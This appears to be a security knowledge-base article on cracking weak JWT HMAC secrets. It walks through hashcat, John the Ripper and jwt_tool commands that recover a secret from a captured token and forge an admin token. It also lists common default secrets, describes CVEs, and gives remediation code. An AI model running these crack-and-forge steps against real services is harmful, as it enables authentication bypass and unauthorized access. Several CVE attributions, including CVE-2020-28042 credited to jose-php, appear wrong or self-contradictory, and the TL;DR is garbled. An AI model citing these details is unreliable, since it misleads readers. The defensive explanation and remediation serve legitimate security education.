HMAC signing secret guessable via offline brute-force or dictionary attack, enabling arbitrary token forgery.
TL;DR
hashcat -m 16500 against rockyou.txtsecret, password, changeme, jwt-secret) are in every wordlistHS256, HS384, and HS512 JWT algorithms use a symmetric HMAC key — the same secret is used both to sign tokens and to verify them. Unlike asymmetric algorithms (RS256, ES256), the signing secret must be known to every service that verifies tokens. If the secret is guessable — too short, predictable, or a dictionary word — an attacker can recover it offline by brute-force and then forge any token with any claims.
This is CWE-326 (Inadequate Encryption Strength), a subclass of A02:2021 (Cryptographic Failures). The vulnerability is in the key generation choice, not in the HMAC algorithm itself. HMAC-SHA256 is cryptographically sound with a proper 256-bit random key; it is broken only when the key has insufficient entropy to resist guessing.
The attack is entirely offline. A single JWT token captured from a login response, an Authorization header log, or a cookie is sufficient. Hashcat mode 16500 — dedicated to HMAC JWT tokens — tests millions of candidate secrets per second. rockyou.txt (14 million entries) on a modern GPU cracks most developer-chosen secrets in under 60 seconds. Once recovered, the attacker signs any payload they choose.
The HMAC-SHA256 signature is computed as:
sig = HMAC-SHA256(
key=secret,
msg=base64url(header) + "." + base64url(payload)
)Brute-force works by iterating candidate secrets and computing this function for each one, comparing the result to the token's signature:
The process:
header.payload.signature format.header.payload with that entry as the key.role: "admin", sub: "victim_user_id", extended exp).Attack demonstration with full tool chain:
# Step 1: Extract a token from Burp Suite history or proxy logs
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.HMAC_SIGNATURE"
# Step 2: Save token to file
echo "$JWT" > token.txt
# Step 3: Crack with hashcat (GPU — fastest)
hashcat -m 16500 -a 0 token.txt /usr/share/wordlists/rockyou.txt
# Step 4: Show cracked result
hashcat -m 16500 token.txt --show
# Output: eyJhbGci...SIGNATURE:my-secret-key
# Step 5: Forge a token with the recovered secret
python3 /opt/jwt_tool/jwt_tool.py "$JWT" -T -p '{"sub":"admin","role":"admin","exp":9999999999}' -S hs256 -p "my-secret-key"Alternatively, for CPU-only environments:
# john the Ripper (CPU fallback)
john --format=hmac-sha256 --wordlist=/usr/share/wordlists/rockyou.txt token.txt
john --format=hmac-sha256 token.txt --show# jwt-cracker (Node.js, CPU)
jwt-cracker "eyJhbGci..." --dictionary /path/to/wordlist.txt| Variant | Technique | Cracking Time (GPU) | Notes |
|---|---|---|---|
| Dictionary attack | rockyou.txt (14M entries) | < 60 seconds | Covers most developer defaults |
| Custom wordlist | App name + common suffixes | < 5 minutes | app-name, appname123, APP_NAME_SECRET |
| Brute-force short | All 8-char alphanumeric | 15-60 minutes | Keys < 12 chars are typically crackable |
| Brute-force medium | All 12-char alphanumeric | Hours to days | Upper bound for GPU brute-force |
| Blank HMAC | CVE-2020-28042 — empty secret accepted | Instant | jose-php accepted blank HMAC as valid |
| Base64 decode attack | Key is base64 of short string | < 60 seconds | decode("c2VjcmV0") = "secret" |
The following values appear in the vast majority of JWT cracking findings in bug bounty and penetration testing reports:
secret password changeme jwt-secret
my-key key token auth-token
app-secret your-secret super-secret 1234567890
abcdefghijklmn qwerty123456 hello-world api-keyAny of these — and any value derived from the application's name, hostname, or obvious configuration patterns — are cracked immediately against standard wordlists.
CVE-2020-28042 in jose-php (CVSS 9.8) accepted a token where the HMAC signature was a blank string or zero bytes as valid. This is an extreme form of weak-secret — the attacker does not need to recover the secret, only to send an empty signature. The vulnerability was in the verification function's handling of an empty string comparison, which evaluated to true.
CVE-2025-4692 — Salesforce Cloud JWT Algorithm Confusion (CVSS 9.8) Salesforce's cloud platform accepted HMAC-signed tokens where the signing secret was insufficiently randomized during provisioning. An attacker who obtained a valid token could crack the HMAC secret and forge tokens granting unauthorized access to customer data. The CVE affected a multi-tenant SaaS environment, meaning a cracked secret on one tenant could enable cross-tenant data access.
CVE-2024-48916 — Ceph RadosGW JWT Auth Bypass (CVSS 9.8) Ceph's RADOS Gateway JWT implementation used a default secret that was not rotated during deployment. An attacker who knew the default — publicly documented in the Ceph installation guide — could forge any JWT and bypass authentication entirely. This represents the extreme end of the weak-secret spectrum: the "secret" is published in documentation.
CVE-2020-28042 — jose-php Blank HMAC (CVSS 9.8) jose-php before version 3.1.2 accepted tokens with a blank HMAC signature as valid. No cracking was needed — an attacker set the signature segment to an empty string or to a base64url encoding of zero bytes. Any application using jose-php for JWT verification prior to the patch was fully bypassed.
HackerOne Bug Bounty — Fintech JWT Secret "secret" (CVSS 9.1)
A penetration test against a fintech API discovered that the JWT signing secret was the literal string "secret" — the default value left in the configuration from development. Hashcat cracked it instantly. The tester forged an admin token, accessed the administrative API, and demonstrated full privilege escalation. The finding was rated Critical with a $8,000 bounty.
Auth0 Historical Incident — Predictable Secret Derivation A class of vulnerabilities in early JWT implementations derived HMAC secrets from predictable sources: the hostname, a timestamp, or a hash of the database connection string. An attacker with knowledge of the application's deployment environment could reconstruct the secret without brute-force. Auth0's engineering blog published a post-mortem on this pattern, leading to the adoption of cryptographically random key generation in modern SDKs.
alg header: if it is HS256, HS384, or HS512, HMAC cracking is applicable.echo "$TOKEN" > token.txt).hashcat -m 16500 -a 0 token.txt /usr/share/wordlists/rockyou.txt --potfile-disablehashcat -m 16500 token.txt --show. The format is token:recovered_secret.# Generate custom wordlist based on app name and common patterns
echo -e "appname\nappname123\nappname-secret\nAPPNAME_SECRET\n$(hostname)" > custom.txt
hashcat -m 16500 -a 0 token.txt custom.txthashcat -m 16500 -a 3 token.txt ?a?a?a?a?a?a?a?a # 8-char maskjwt_tool dictionary attack mode:
# Try a wordlist against the token
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -C -d /usr/share/wordlists/rockyou.txtSecLists JWT secrets list for targeted cracking:
# SecLists has a dedicated JWT secrets list
hashcat -m 16500 token.txt ~/SecLists/Miscellaneous/JWT_Common_Secrets.txtBreachVex runs HMAC cracking against every HS256/384/512 token discovered during reconnaissance. It uses a curated wordlist combining rockyou.txt, application-specific terms extracted from recon data, and a set of known-default JWT secrets from common frameworks. Cracking is rate-limited to avoid token expiry during long brute-force sessions.
import secrets, os
# GOOD — 32 bytes (256 bits) of cryptographic randomness
JWT_SECRET = secrets.token_bytes(32) # Python 3.6+
JWT_SECRET = os.urandom(32) # also acceptable
JWT_SECRET_HEX = secrets.token_hex(32) # hex-encoded 64-char string
# Store in environment variable, never hardcoded
import os
JWT_SECRET = os.environ["JWT_SECRET"].encode() # load from env at runtime// Node.js — generate and store
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(32).toString('hex'); // 64 hex chars
// Or use environment variable
const JWT_SECRET = Buffer.from(process.env.JWT_SECRET, 'hex');# For microservices: use RS256 (asymmetric)
# Signing service holds private key; all others hold public key only
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
# Generate RSA-2048 keypair (do this once, store securely)
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# Signing (only the auth service)
import jwt
token = jwt.encode({"sub": "user123", "exp": ...}, private_key, algorithm="RS256")
# Verification (any service with public key)
payload = jwt.decode(token, public_key, algorithms=["RS256"])# Store JWT secrets in a secret manager with 90-day TTL
# Support two active KIDs during rotation window:
# kid=v2 (current), kid=v1 (deprecated but still accepted for 15 minutes)
{
"v1": "OLD_SECRET_BASE64", # accepted until all tokens expire
"v2": "NEW_SECRET_BASE64" # used for all new tokens
}
# New tokens signed with kid=v2
# Verification accepts both v1 and v2 for 15-minute overlap windowNever use HS256 with a short secret for multi-service authentication. If one service's deployment configuration is exposed in a CVE, bug report, or accidental log disclosure, every service that shares the HMAC secret is immediately compromised. The only defense against shared-secret exposure is not sharing secrets — use RS256 with asymmetric keys.
A JWT HMAC secret is weak if it is under 32 bytes (256 bits), is a human-readable string, is a dictionary word, is derived from a predictable value (hostname, app name, UUID, timestamp), or is a common default like 'secret', 'password', 'changeme', 'jwt-secret', or 'my-key'. Hashcat mode 16500 cracks rockyou.txt (14 million entries) in seconds to minutes on a modern GPU against HS256 tokens.
JWT HMAC verification is deterministic: HMAC-SHA256(base64url(header) + '.' + base64url(payload), secret). Hashcat computes this for every candidate secret from a wordlist and compares the result to the token's signature. No network access to the server is needed — the attacker brute-forces entirely offline against the token captured from a single HTTP response.
Mode 16500 in hashcat targets JWT tokens with HMAC-SHA256 (HS256), HMAC-SHA384 (HS384), and HMAC-SHA512 (HS512) signatures. The token must be in the format header.payload.signature (the exact format issued by the server). Run: hashcat -m 16500 token.txt wordlist.txt. The --show flag displays cracked secrets.
rockyou.txt (14M entries) covers most developer-chosen secrets. SecLists/Passwords/Common-Credentials/best1050.txt covers short common passwords. Custom wordlists generated with app name, domain, environment variables, or config file values are highly effective. The most effective approach combines rockyou.txt with a custom wordlist of app-specific terms (service name, hostname, environment).
Partial detection is possible: if a known-weak secret pattern is used (length < 12 bytes visible in error messages, base64-encoded obvious strings, blank HMAC accepted — CVE-2020-28042), it can be flagged without cracking. But the definitive test is always to attempt cracking with a wordlist. jwt_tool's -C flag attempts a wordlist crack; hashcat -m 16500 is faster for larger wordlists.